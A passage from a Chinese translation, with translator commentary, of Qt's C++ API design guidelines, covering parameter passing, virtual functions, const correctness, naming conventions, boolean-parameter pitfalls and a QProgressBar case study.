-1)</code>）来表示『重置』就够用了。</p>\n<p>在某些情况下，getter方法返回的结果与所设置的值不同。例如，虽然调用了<code>widget-&gt;setEnabled(true)</code>，但如果它的父widget处于disabled状态，那么<code>widget-&gt;isEnabled()</code>仍然返回的是<code>false</code>。这样是OK的，因为一般来说就是我们想要的检查结果（父widget处于disabled状态，里面的子widget也应该变为灰的不响应用户操作，就好像子widget自身处于disabled状态一样；与此同时，因为子widget记得在自己的内心深处是enabled状态的，只是一直等待着它的父widget变为enabled）。当然诸如这些都必须在文档中妥善地说明清楚。</p>\n<h1>4. C++相关</h1>\n<h2>4.1 值 vs. 对象</h2>\n<h3>4.1.1 指针 vs. 引用</h3>\n<p>指针（pointer）还是引用（reference）哪个是最好的输出参数（out-parameters）？</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nvoid getHsv(int *h, int *s, int *v) const;<br />\nvoid getHsv(int &amp;h, int &amp;s, int &amp;v) const;<br />\n[/code]</p>\n<p>大多数C++书籍推荐尽可能使用引用，基于一个普遍的观点：引用比指针『更加安全和优雅』。与此相反，我们在开发Qt时倾向于指针，因为指针让用户代码可读性更好。比较下面例子：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\ncolor.getHsv(&amp;h, &amp;s, &amp;v);<br />\ncolor.getHsv(h, s, v);<br />\n[/code]</p>\n<p>只有第一行代码清楚表达出<code>h</code>、<code>s</code>、<code>v</code>参数在函数调用中非常有可能会被修改。</p>\n<p>这也就是说，编译器并不喜欢『出参』，所你应该在新的API中避免使用『出参』，而是返回一个结构体，如下所示：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nstruct Hsv { int hue, saturation, value };<br />\nHsv getHsv() const;<br />\n[/code]</p>\n<blockquote><p>【译注】：函数的『入参』和『出参』的混用会导致 API 接口语义的混乱，所以，使用指针，在调用的时候，实参需要加上“&amp;”，这样在代码阅读的时候，可以看到是一个『出参』，有利于代码阅读。（但是这样做，在函数内就需要判断指针是否为空的情况，因为引用是不需要判断的，所以，这是一种 trade-off）</p>\n<p>另外，如果这样的参数过多的话，最好使用一个结构体来把数据打包，一方面，为一组返回值取个名字，另一方面，这样有利用接口的简单。</p></blockquote>\n<h3>4.1.2 按常量引用传参 vs. 按值传参</h3>\n<p>如果类型大于16字节，按常量引用传参。</p>\n<p>如果类型有重型的（non-trivial）拷贝构造函数（copy-constructor）或是重型的析构函数（destructor），按常量引用传参以避免执行这些函数。</p>\n<p>对于其它的类型通常应该按值传参。</p>\n<p>示例：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nvoid setAge(int age);<br />\nvoid setCategory(QChar cat);<br />\nvoid setName(QLatin1String name);</p>\n<p>// const-ref is much faster than running copy-constructor and destructor<br />\nvoid setAlarm(const QSharedPointer&lt;Alarm&gt; &amp;alarm);</p>\n<p>// QDate, QTime, QPoint, QPointF, QSize, QSizeF, QRect<br />\n// are good examples of other classes you should pass by value.<br />\n[/code]</p>\n<blockquote><p>【译注】：这是传引用和传值的差别了，因为传值会有对像拷贝，传引用则不会。所以，如果对像的构造比较重的话（换句话说，就是对像里的成员变量需要的内存比较大），这就会影响很多性能。所以，为了提高性能，最好是传引用。但是如果传入引用的话，会导致这个对象可能会被改变。所以传入const reference。</p></blockquote>\n<h2>4.2 虚函数</h2>\n<p>在C++中，当类的成员函数声明为virtual，主要是为了通过在子类重载此函数能够定制函数的行为。将函数声明为virtual的目的是为了让对这个函数已有的调用变成执行实际实例的代码路径。对于没有在类外部调用的函数声明成virtual，你应该事先非常慎重地思考过。</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\n// QTextEdit in Qt 3: member functions that have no reason for being virtual<br />\nvirtual void resetFormat();<br />\nvirtual void setUndoDepth( int d );<br />\nvirtual void setFormat( QTextFormat *f, int flags );<br />\nvirtual void ensureCursorVisible();<br />\nvirtual void placeCursor( const QPoint &amp;pos;, QTextCursor **c = 0 );<br />\nvirtual void moveCursor( CursorAction action, bool select );<br />\nvirtual void doKeyboardAction( KeyboardAction action );<br />\nvirtual void removeSelectedText( int selNum = 0 );<br />\nvirtual void removeSelection( int selNum = 0 );<br />\nvirtual void setCurrentFont( const QFont &amp;f );<br />\nvirtual void setOverwriteMode( bool b ) { overWrite = b; }<br />\n[/code]</p>\n<p><code>QTextEdit</code>从Qt 3移植到Qt 4的时候，几乎所有的虚函数都被移除了。有趣的是（但在预料之中），并没有人对此有大的抱怨，为什么？因为Qt 3没用到<code>QTextEdit</code>的多态行为 —— 只有你会；简单地说，没有理由去继承<code>QTextEdit</code>并重写这些函数，除非你自己调用了这些方法。如果在Qt在外部你的应用程序你需要多态，你可以自己添加多态。</p>\n<blockquote><p>【译注】：『多态』的目的只不过是为了实践 —— 『依赖于接口而不是实现』，也就是说，接口是代码抽像的一个非常重要的方式（在Java/Go中都有专门的接口声明语法）。所以，如果没有接口抽像，使用『多态』的意义也就不大了，因为也就没有必要使用『虚函数』了。</p></blockquote>\n<h3>4.2.1 避免虚函数</h3>\n<p>在Qt中，我们有很多理由尽量减少虚函数的数量。每一次对虚函数的调用会在函数调用链路中插入一个未掌控的节点（某种程度上使结果更无法预测），使得bug修复变得更复杂。用户在重写的虚函数中可以做很多疯狂的事：</p>\n<ul>\n<li>发送事件</li>\n<li>发送信号</li>\n<li>重新进入事件循环（例如，通过打开一个模态文件对话框）</li>\n<li>删除对象（即触发『<code>delete this</code>』）</li>\n</ul>\n<p>还有其他很多原因要避免过度使用虚函数：</p>\n<ul>\n<li>添加、移动或是删除虚函数都带来二进制兼容问题（binary compatibility/BC）</li>\n<li>重载虚函数并不容易</li>\n<li>编译器几乎不能优化或内联（inline）对虚函数的调用</li>\n<li>虚函数调用需要查找虚函数表（v-table），这比普通函数调用慢了2到3倍</li>\n<li>虚函数使得类很难按值拷贝（尽管也可以按值拷贝，但是非常混乱并且不建议这样做）</li>\n</ul>\n<p>经验告诉我们，没有虚函数的类一般bug更少、维护成本也更低。</p>\n<p>一般的经验法则是，除非我们以这个类作为工具集提供而且有很多用户来调用某个类的虚函数，否则这个函数九成不应该设计成虚函数。</p>\n<blockquote><p>【译注】：</p>\n<ol>\n<li>使用虚函数时，你需要对编译器的内部行为非常清楚，否则，你会在使用虚函数时，觉得有好些『古怪』的问题发生。比如在创建数组对象的时候。</li>\n<li>在C++中，会有一个基础类，这个基础类中已经实现好了很多功能，然后把其中的一些函数放给子类去修改和实现。这种方法在父类和子类都是一组开发人员维护时没有什么问题，但是如果这是两组开发人员，这就会带来很多问题了，就像Qt这样，子类完全无法控制，全世界的开发人员想干什么就干什么。所以，子类的代码和父类的代码在兼容上就会出现很多很多问题。所以，还是上面所说，其实，虚函数应该声明在接口的语义里（这就是设计模式的两个宗旨——依赖于接口，而不是实现；钟爱于组合，而不是继承。也是为什么Java和Go语言使用interface关键字的原因，C++在多态的语义上非常容易滥用）</li>\n</ol>\n</blockquote>\n<h3>4.2.2 虚函数 vs. 拷贝</h3>\n<p>多态对象（polymorphic objects）和值类型的类（value-type classes）两者很难协作好。</p>\n<p>包含虚函数的类必须把析构函数声明为虚函数，以防止父类析构时没有清理子类的数据，导致内存泄漏。</p>\n<p>如果要使一个类能够拷贝、赋值或按值比较，往往需要拷贝构造函数、赋值操作符（<code>operator =</code>）和相等操作符（<code>operator ==</code>）。</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nclass CopyClass {<br />\npublic:<br />\n    CopyClass();<br />\n    CopyClass(const CopyClass &amp;other);<br />\n    ~CopyClass();<br />\n    CopyClass &amp;operator =(const CopyClass &amp;other);<br />\n    bool operator ==(const CopyClass &amp;other) const;<br />\n    bool operator !=(const CopyClass &amp;other) const;</p>\n<p>    virtual void setValue(int v);<br />\n};<br />\n[/code]</p>\n<p>如果继承<code>CopyClass</code>这个类，预料之外的事就已经在代码时酝酿了。一般情况下，如果没有虚成员函数和虚析构函数，就不能创建出可以多态的子类。然而，如果存在虚成员函数和虚析构函数，这突然变成了要有子类去继承的理由，而且开始变得复杂了。<strong><em>起初认为只要简单声明上虚操作符重载函数（virtual operators）。</em></strong> 但其实是走上了一条混乱和毁灭之路（破坏了代码的可读性）。看看下面的这个例子：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nclass OtherClass {<br />\npublic:<br />\n    const CopyClass &amp;instance() const; // 这个方法返回的是什么？可以赋值什么？<br />\n};<br />\n[/code]</p>\n<p>（这部份还未完成）</p>\n<blockquote><p>【译注】：因为原文上说，这部份并没有完成，所以，我也没有搞懂原文具体也是想表达什么。不过，就标题而言，原文是想说，在多态的情况下拷贝对象所带来的问题？？</p></blockquote>\n<h2>4.3 关于const</h2>\n<p><strong><em>C++的关键词const表明了内容不会改变或是没有副作用。可以应用于简单的值、指针及指针所指的内容，也可以作为一个特别的属性应用于类的成员函数上，表示成员函数不能修改对象的状态。</em></strong></p>\n<p>然而，const本身并没有提供太大的价值 —— 很多编程语言甚至没有类似const的关键词，但是却并没有因此产生问题。实际上，如果你不用函数重载，并在C++源代码用搜索并删除所有的const，几乎总能编译通过并且正常运行。尽量让使用的const保持实用有效，这点很重要。</p>\n<p>让我们看一下在Qt的API设计中与const相关的场景。</p>\n<h3>4.3.1 输入参数：const指针</h3>\n<p>有输入指针参数的const成员函数，几乎总是const指针参数。</p>\n<p>如果函数声明为const，意味着既没有副作用，也不会改变对象的可见状态。那为什么它需要一个没有const限定的输入参数呢？记住const类型的函数通常被其他const类型的函数调用，接收到的一般都是const指针（只要不主动const_cast，我们推荐尽量避免使用const_cast）</p>\n<p>以前：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nbool QWidget::isVisibleTo(QWidget *ancestor) const;<br />\nbool QWidget::isEnabledTo(QWidget *ancestor) const;<br />\nQPoint QWidget::mapFrom(QWidget *ancestor, const QPoint &amp;pos) const;<br />\n[/code]</p>\n<p><code>QWidget</code>声明了许多非const指针输入参数的const成员函数。注意，这些函数可以修改传入的参数，不能修改对象自己。使用这样的函数常常要借助const_cast转换。如果是const指针输入参数，就可以避免这样的转换了。</p>\n<p>之后：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nbool QWidget::isVisibleTo(const QWidget *ancestor) const;<br />\nbool QWidget::isEnabledTo(const QWidget *ancestor) const;<br />\nQPoint QWidget::mapFrom(const QWidget *ancestor, const QPoint &amp;pos) const;<br />\n[/code]</p>\n<p>注意，我们在<code>QGraphicsItem</code>中对此做了修正，但是<code>QWidget</code>要等到Qt 5:</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nbool isVisibleTo(const QGraphicsItem *parent) const;<br />\nQPointF mapFromItem (const QGraphicsItem *item, const QPointF &amp;point) const;<br />\n[/code]</p>\n<h3>4.3.2 返回值：const值</h3>\n<p>调用函数返回的非引用类型的结果，称之为右值（R-value）。</p>\n<p>非类（non-class）的右值总是无cv限定类型（cv-unqualified type）。虽然从语法上讲，加上const也可以，但是没什么意义，因为鉴于访问权限这些值是不能改变的。多数现代编译器在编译这样的代码时会提示警告信息。</p>\n<blockquote><p>【译注】：cv-qualified的类型（与cv-unqualified相反）是由const或者volatile或者volatile const限定的类型。详见<a href=\"http://en.cppreference.com/w/cpp/language/cv\">cv (const and volatile) type qualifiers &#8211; C++语言参考</a></p></blockquote>\n<p>当在类类型（class type）右值上添加const关键字，则禁止访问非const成员函数以及对成员的直接操作。</p>\n<p>不加const则没有以上的限制，但几乎没有必要加上const，因为右值对象生存时间（life time）的结束一般在C++清理的时候（通俗的说，下一个分号地方），而对右值对象的修改随着右值对象的生存时间也一起结束了（也就是本条语句的执行完成的时候）。</p>\n<p>示例：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nstruct Foo {<br />\n    void setValue(int v) { value = v; }<br />\n    int value;<br />\n};</p>\n<p>Foo foo() {<br />\n    return Foo();<br />\n}</p>\n<p>const Foo cfoo() {<br />\n    return Foo();<br />\n}</p>\n<p>int main() {<br />\n    // The following does compile, foo() is non-const R-value which<br />\n    // can&#8217;t be assigned to (this generally requires an L-value)<br />\n    // but member access leads to a L-value:<br />\n    foo().value = 1; // Ok, but temporary will be thrown away at the end of the full-expression.</p>\n<p>    // The following does compile, foo() is non-const R-value which<br />\n    // can&#8217;t be assigned to, but calling (even non-const) member<br />\n    // function is fine:<br />\n    foo().setValue(1); // Ok, but temporary will be thrown away at the end of the full-expression.</p>\n<p>    // The following does _not_compile, foo() is &#8221;const&#8221; R-value<br />\n    // with const member which member access can&#8217;t be assigned to:<br />\n    cfoo().value = 1; // Not ok.</p>\n<p>    // The following does _not_compile, foo() is &#8221;const&#8221; R-value,<br />\n    // one cannot call non-const member functions:<br />\n    cfoo().setValue(1); // Not ok<br />\n}<br />\n[/code]</p>\n<blockquote><p>【译注】：上述的代码说明，如果返回值不是const的，代码可以顺利编译通过，然而并没有什么卵用，因为那个临时对像马上就被抛弃了。所以，这样的无用的代码最好还是在编译时报个错，以免当时头脑发热想错了，写了一段没用但还以为有用的代码。</p></blockquote>\n<h3>4.3.3 返回值：非const的指针还是有const的指针</h3>\n<p>谈到const函数应该返回非const的指针还是const指针这个话题时，多数人发现在C++中关于『const正确性』（const correctness）在概念上产生了分歧。 <em>问题起源是：<strong>const函数本身不能修改对象自身的状态，却可以返回成员的非const指针</strong>。返回指针这个简单动作本身既不会影响整个对象的可见状态，当然也不会改变这个函数职责范围内涉及的状态。但是，这却使得程序员可以间接访问并修改对象的状态。</em></p>\n<p>下面的例子演示了通过返回非const指针的const函数绕开const约定（constness）的诸多方式中的一种：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQVariant CustomWidget::inputMethodQuery(Qt::InputMethodQuery query) const {<br />\n    moveBy(10, 10); // doesn&#8217;t compile!<br />\n    window()-&gt;childAt(mapTo(window(), rect().center()))-&gt;moveBy(10, 10); // compiles!<br />\n}<br />\n[/code]</p>\n<p>返回const指针的函数正是保护以避免这些（可能是不期望的/没有预料到的）副作用，至少是在一定程度上。但哪个函数你会觉得更想返回const指针，或是不止一个函数？</p>\n<p>若采用const正确（const-correct）的方法，每个返回某个成员的指针（或多个指向成员的指针）的const函数必须返回const指针。在实践中，很不幸这样的做法将导致无法使用的API：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQGraphicsScene scene;<br />\n// … populate scene</p>\n<p>foreach (const QGraphicsItem *item, scene.items()) {<br />\n    item-&gt;setPos(qrand() % 500, qrand() % 500); // doesn&#8217;t compile! item is a const pointer<br />\n}<br />\n[/code]</p>\n<p><code>QGraphicsScene::items()</code>是一个const函数，顺着思考看起来这个函数只应该返回const指针。</p>\n<p>在Qt中，我们几乎只有非const的使用模式。我们选择的是实用路子： 相比滥用非const指针返回类型带来的问题，返回const指针更可能招致过分使用const_cast的问题。</p>\n<h3>4.3.4 返回值：按值返回 还是 按const引用返回？</h3>\n<p>若返回的是对象的拷贝，那么返回const引用是更直接的方案； 然而，这样的做法限制了后面想要对这个类的重构（refactor）。 （以<code>d-point</code>的典型做法（idiom）为例，我们可以在任何时候改变Qt类在内存表示（memory representation）；但却不能在不破坏二进制兼容性的情况下把改变函数的签名，返回值从<code>const QFoo &amp;</code>变为<code>QFoo</code>。） 基于这个原因，除去对运行速度敏感（speed is critical）而重构不是问题的个别情形（例如，<code>QList::at()</code>），我们一般返回<code>QFoo</code>而不是<code>const QFoo &amp;</code>。</p>\n<blockquote><p>【译注】：参看《Effective C++》中条款23：Don&#8217;t try to return a reference when you must return an object</p></blockquote>\n<h3>4.4.5 const vs. 对象的状态</h3>\n<p>const正确性（Const correctness）的问题就像C圈子中vi与emacs的讨论，因为这个话题在很多地方都存在分歧（比如基于指针的函数）。</p>\n<p>但通用准则是const函数不能改变类的可见状态。『状态』的意思是『自身以及涉及的职责』。这并不是指非const函数能够改变自身的私有成员，也不是指const函数改变不了。而是指函数是活跃的并存在可见的副作用（visible side effects）。const函数一般没有任何可见的副作用，比如：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQSize size = widget-&gt;sizeHint(); // const<br />\nwidget-&gt;move(10, 10); // not const<br />\n[/code]</p>\n<p>代理（delegate）负责在其它对象上绘制内容。 它的状态包括它的职责，因此包括在哪个对象做绘制这样的状态。 调用它的绘画行为必然会有副作用； 它改变了它绘制所在设备的外观（及其所关联的状态）。鉴于这些，<code>paint()</code>作为const函数并不合理。 进一步说，任何<code>paint()</code>或<code>QIcon</code>的<code>paint()</code>的视图函数是const函数也不合理。 没有人会从内部的const函数去调用<code>QIcon::paint()</code>，除非他想显式地绕开const这个特性。 如果是这种情况，使用const_cast会更好。</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\n// QAbstractItemDelegate::paint is const<br />\nvoid QAbstractItemDelegate::paint(QPainter **painter, const QStyleOptionViewItem &amp;option, const QModelIndex &amp;index) const</p>\n<p>// QGraphicsItem::paint is not const<br />\nvoid QGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem option, QWidget *widget)<br />\n[/code]</p>\n<p>const关键字并不能按你期望的样子起作用。应该考虑将其移除而不是去重载const/非const函数。</p>\n<h1>5. API的语义和文档</h1>\n<p>当传值为<code>-1</code>的参数给函数，函数会是什么行为？有很多类似的问题……</p>\n<p>是警告、致命错误还是其它？</p>\n<p>API需要的是质量保证。API第一个版本一定是不对的；必须对其进行测试。 以阅读使用API的代码的方式编写用例，且验证这样代码是可读的。</p>\n<p>还有其他的验证方法，比如</p>\n<ul>\n<li>让别人使用API（看了文档或是先不看文档都可以）</li>\n<li>给类写文档（包含类的概述和每个函数）</li>\n</ul>\n<h1>6. 命名的艺术</h1>\n<p>命名很可能是API设计中最重要的一个问题。类应该叫什么名字？成员函数应该叫什么名字？</p>\n<h2>6.1 通用的命名规则</h2>\n<p>有几个规则对于所有类型的命名都等同适用。第一个，之前已经提到过，不要使用缩写。即使是明显的缩写，比如把<code>previous</code>缩写成<code>prev</code>，从长远来看是回报是负的，因为用户必须要记住缩写词的含义。</p>\n<p>如果API本身没有一致性，之后事情自然就会越来越糟；例如，Qt 3 中同时存在<code>activatePreviousWindow()</code>与<code>fetchPrev()</code>。恪守『不缩写』规则更容易地创建一致性的API。</p>\n<p>另一个时重要但更微妙的准则是在设计类时应该保持子类名称空间的干净。在Qt 3中，此项准则并没有一直遵循。以<code>QToolButton</code>为例对此进行说明。如果调用<code>QToolButton</code>的 <code>name()</code>、<code>caption()</code>、<code>text()</code>或者<code>textLabel()</code>，你觉得会返回什么？用Qt设计器在<code>QToolButton</code>上自己先试试吧：</p>\n<ul>\n<li><code>name</code>属性是继承自<code>QObject</code>，返回内部的对象名称，用于调试和测试。</li>\n<li><code>caption</code>属性继承自<code>QWidget</code>，返回窗口标题，对<code>QToolButton</code>来说毫无意义，因为它在创建的时候parent就存在了。</li>\n<li><code>text</code>函数继承自<code>QButton</code>，一般用于按钮。当<code>useTextLabel</code>不为<code>true</code>，才用这个属性。</li>\n<li><code>textLabel</code>属性在<code>QToolButton</code>内声明，当<code>useTextLabel</code>为<code>true</code>时显示在按钮上。</li>\n</ul>\n<p>为了可读性，在Qt 4中<code>QToolButton</code>的<code>name</code>属性改成了<code>objectName</code>，<code>caption</code>改成了<code>windowTitle</code>，删除了<code>textLabel</code>属性因为和<code>text</code>属性相同。</p>\n<p>当你找不到好的命名时，写文档也是个很好方法：要做的就是尝试为各个条目（item）（如类、方法、枚举值等等）写文档，并用写下的第一句话作为启发。如果找不到一个确切的命名，往往说明这个条目是不该有的。如果所有尝试都失败了，并且你坚信这个概念是合理的，那么就发明一个新名字。像widget、event、focus和buddy这些命名就是在这一步诞生的。</p>\n<blockquote><p>【译注】：写文档是一个非常好的习惯。写文档的过程其实就是在帮你梳理你的编程思路。很多时候，文档写着写着你就会发现要去改代码去了。除了上述的好处多，写文档还有更多的好处。比如，在写文档的过程中，你发现文字描述过于复杂了，这表明着你的代码或逻辑是复杂的，这就倒逼你去重构你的代码。所以 —— <strong>写文档其实就是写代码</strong>。</p></blockquote>\n<h2>6.2 类的命名</h2>\n<p>识别出类所在的分组，而不是为每个类都去找个完美的命名。例如，所有Qt 4的能感知模型（model-aware）的item view，类后缀都是<code>View</code>（<code>QListView</code>、<code>QTableView</code>、<code>QTreeView</code>），而相应的基于item（item-based）的类后缀是<code>Widget</code>（<code>QListWidget</code>、<code>QTableWidget</code>、<code>QTreeWidget</code>）。</p>\n<h2>6.3 枚举类型及其值的命名</h2>\n<p>声明枚举类型时，需要记住在C++中枚举值在使用时不会带上类型（与Java、C#不同）。下面的例子演示了枚举值命名得过于通用的危害：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nnamespace Qt<br />\n{<br />\n    enum Corner { TopLeft, BottomRight, &#8230; };<br />\n    enum CaseSensitivity { Insensitive, Sensitive };<br />\n    &#8230;<br />\n};</p>\n<p>tabWidget-&gt;setCornerWidget(widget, Qt::TopLeft);<br />\nstr.indexOf(&quot;$(QTDIR)&quot;, Qt::Insensitive);<br />\n[/code]</p>\n<p>在最后一行，<code>Insensitive</code>是什么意思？命名枚举类型的一个准则是在枚举值中至少重复此枚举类型名中的一个元素：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nnamespace Qt<br />\n{<br />\n    enum Corner { TopLeftCorner, BottomRightCorner, &#8230; };<br />\n    enum CaseSensitivity { CaseInsensitive, CaseSensitive };<br />\n    &#8230;<br />\n};</p>\n<p>tabWidget-&gt;setCornerWidget(widget, Qt::TopLeftCorner);<br />\nstr.indexOf(&quot;$(QTDIR)&quot;, Qt::CaseInsensitive);<br />\n[/code]</p>\n<p>当对枚举值进行或运算并作为某种标志（flag）时，传统的做法是把或运算的结果保存在int型的值中，但这不是类型安全的。Qt 4提供了一个模板类<code>QFlags</code>，其中的<code>T</code>是枚举类型。为了方便使用，Qt用<code>typedef</code>重新定义了<code>QFlag</code>类型，所以可以用<code>Qt::Alignment</code>代替<code>QFlags</code>。</p>\n<p>习惯上，枚举类型命名用单数形式（因为它一次只能『持有』一个flag），而持有多个『flag』的类型用复数形式，例如：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nenum RectangleEdge { LeftEdge, RightEdge, &#8230; };<br />\ntypedef QFlags&lt;RectangleEdge&gt; RectangleEdges;<br />\n[/code]</p>\n<p>在某些情形下，持有多个『flag』的类型命名用单数形式。对于这种情况，持有的枚举类型名称要求是以<code>Flag</code>为后缀：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nenum AlignmentFlag { AlignLeft, AlignTop, &#8230; };<br />\ntypedef QFlags&lt;AlignmentFlag&gt; Alignment;<br />\n[/code]</p>\n<h2>6.4 函数和参数的命名</h2>\n<p>函数命名的第一准则是可以从函数名看出来此函数是否有副作用。在Qt 3中，const函数<code>QString::simplifyWhiteSpace()</code>违反了此准则，因为它返回了一个<code>QString</code>而不是按名称暗示的那样，改变调用它的<code>QString</code>对象。在Qt 4中，此函数重命名为<code>QString::simplified()</code>。</p>\n<p>虽然参数名不会出现在使用API的代码中，但是它们给程序员提供了重要信息。因为现代的IDE都会在写代码时显示参数名称，所以值得在头文件中给参数起一个恰当的名字并在文档中使用相同的名字。</p>\n<h2>6.5 布尔类型的getter与setter方法的命名</h2>\n<p>为<code>bool</code>属性的getter和setter方法命名总是很痛苦。getter应该叫做<code>checked()</code>还是<code>isChecked()</code>？<code>scrollBarsEnabled()</code>还是<code>areScrollBarEnabled()</code>？</p>\n<p>Qt 4中，我们套用以下准则为getter命名：</p>\n<ul>\n<li>形容词以<code>is</code>为前缀，例子：\n<ul>\n<li><code>isChecked()</code></li>\n<li><code>isDown()</code></li>\n<li><code>isEmpty()</code></li>\n<li><code>isMovingEnabled()</code></li>\n</ul>\n</li>\n<li>然而，修饰名词的形容词没有前缀：\n<ul>\n<li><code>scrollBarsEnabled()</code>，而不是<code>areScrollBarsEnabled()</code></li>\n</ul>\n</li>\n<li>动词没有前缀，也不使用第三人称(<code>-s</code>)：\n<ul>\n<li><code>acceptDrops()</code>，而不是<code>acceptsDrops()</code></li>\n<li><code>allColumnsShowFocus()</code></li>\n</ul>\n</li>\n<li>名词一般没有前缀：\n<ul>\n<li><code>autoCompletion()</code>，而不是<code>isAutoCompletion()</code></li>\n<li><code>boundaryChecking()</code></li>\n</ul>\n</li>\n<li>有的时候，没有前缀容易产生误导，这种情况下会加上<code>is</code>前缀：\n<ul>\n<li><code>isOpenGLAvailable()</code>，而不是<code>openGL()</code></li>\n<li><code>isDialog()</code>，而不是<code>dialog()</code><br />\n（一个叫做<code>dialog()</code>的函数，一般会被认为是返回<code>QDialog</code>。）</li>\n</ul>\n</li>\n</ul>\n<p>setter的名字由getter衍生，去掉了前缀后在前面加上了<code>set</code>；例如，<code>setDown()</code>与<code>setScrollBarsEnabled()</code>。</p>\n<h1>7. 避免常见陷阱</h1>\n<h2>7.1 简化的陷阱</h2>\n<p>一个常见的误解是：实现需要写的代码越少，API就设计得越好。应该记住：代码只会写上几次，却要被反复阅读并理解。例如：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQSlider *slider = new QSlider(12, 18, 3, 13, Qt::Vertical, 0, &quot;volume&quot;);<br />\n[/code]</p>\n<p>这段代码比下面的读起来要难得多（甚至写起来也更难）：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQSlider *slider = new QSlider(Qt::Vertical);<br />\nslider-&gt;setRange(12, 18);<br />\nslider-&gt;setPageStep(3);<br />\nslider-&gt;setValue(13);<br />\nslider-&gt;setObjectName(&quot;volume&quot;);<br />\n[/code]</p>\n<blockquote><p>【译注】：在有IDE的自动提示的支持下，后者写起来非常方便，而前者还需要看相应的文档。</p></blockquote>\n<h2>7.2 布尔参数的陷阱</h2>\n<p>布尔类型的参数总是带来无法阅读的代码。给现有的函数增加一个<code>bool</code>型的参数几乎永远是一种错误的行为。仍以Qt为例，<code>repaint()</code>有一个<code>bool</code>类型的可选参数用于指定背景是否被擦除。可以写出这样的代码：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nwidget-&gt;repaint(false);<br />\n[/code]</p>\n<p>初学者很可能是这样理解的，『不要重新绘制！』，能有多少Qt用户真心知道下面3行是什么意思：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nwidget-&gt;repaint();<br />\nwidget-&gt;repaint(true);<br />\nwidget-&gt;repaint(false);<br />\n[/code]</p>\n<p>更好的API设计应该是这样的：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nwidget-&gt;repaint();<br />\nwidget-&gt;repaintWithoutErasing();<br />\n[/code]</p>\n<p>在Qt 4中，我们通过移除了重新绘制（repaint）而不擦除widget的能力来解决了此问题。Qt 4的双缓冲使这种特性被废弃。</p>\n<p>还有更多的例子：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nwidget-&gt;setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding, true);<br />\ntextEdit-&gt;insert(&quot;Where&#8217;s Waldo?&quot;, true, true, false);<br />\nQRegExp rx(&quot;moc_***.c??&quot;, false, true);<br />\n[/code]</p>\n<p>一个明显的解决方案是<code>bool</code>类型改成枚举类型。我们在Qt 4的<code>QString</code>中就是这么做的。对比效果如下：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nstr.replace(&quot;%USER%&quot;, user, false);               // Qt 3<br />\nstr.replace(&quot;%USER%&quot;, user, Qt::CaseInsensitive); // Qt 4<br />\n[/code]</p>\n<blockquote><p>【译注】：关于这个条目可以看看 CoolShell 这篇文章一些展开的讨论： <a href=\"https://coolshell.cn/articles/5444.html\" rel=\"nofollow\">千万不要把 BOOL 设计成函数参数</a>。</p></blockquote>\n<h1>8. 案例研究</h1>\n<h2>8.1 <code>QProgressBar</code></h2>\n<p>为了展示上文各种准则的实际应用。我们来研究一下Qt 3中<code>QProgressBar</code>的API，并与Qt 4中对应的API作比较。在Qt 3中：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nclass QProgressBar : public QWidget<br />\n{<br />\n    &#8230;<br />\npublic:<br />\n    int totalSteps() const;<br />\n    int progress() const;</p>\n<p>    const QString &amp;progressString() const;<br />\n    bool percentageVisible() const;<br />\n    void setPercentageVisible(bool);</p>\n<p>    void setCenterIndicator(bool on);<br />\n    bool centerIndicator() const;</p>\n<p>    void setIndicatorFollowsStyle(bool);<br />\n    bool indicatorFollowsStyle() const;</p>\n<p>public slots:<br />\n    void reset();<br />\n    virtual void setTotalSteps(int totalSteps);<br />\n    virtual void setProgress(int progress);<br />\n    void setProgress(int progress, int totalSteps);</p>\n<p>protected:<br />\n    virtual bool setIndicator(QString &amp;progressStr,<br />\n                              int progress,<br />\n                              int totalSteps);<br />\n    &#8230;<br />\n};<br />\n[/code]</p>\n<p>该API相当的复杂和不一致；例如，<code>reset()</code>、<code>setTotalSteps()</code>、<code>setProgress()</code>是紧密联系的，但方法的命名并没明确地表达出来。</p>\n<p>改善此API的关键是抓住<code>QProgressBar</code>与Qt 4的<code>QAbstractSpinBox</code>及其子类<code>QSpinBox</code>、<code>QSlider</code>、<code>QDail</code>之间的相似性。怎么做？把<code>progress</code>、<code>totalSteps</code>替换为<code>minimum</code>、<code>maximum</code>和<code>value</code>。增加一个<code>valueChanged()</code>消息，再增加一个<code>setRange()</code>函数。</p>\n<p>进一步可以观察到<code>progressString</code>、<code>percentage</code>与<code>indicator</code>其实是一回事，即是显示在进度条上的文本。通常这个文本是个百分比，但是可通过<code>setIndicator()</code>设置为任何内容。以下是新的API：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nvirtual QString text() const;<br />\nvoid setTextVisible(bool visible);<br />\nbool isTextVisible() const;<br />\n[/code]</p>\n<p>默认情况下，显示文本是百分比指示器（percentage indicator），通过重写<code>text()</code>方法来定制行为。</p>\n<p>Qt 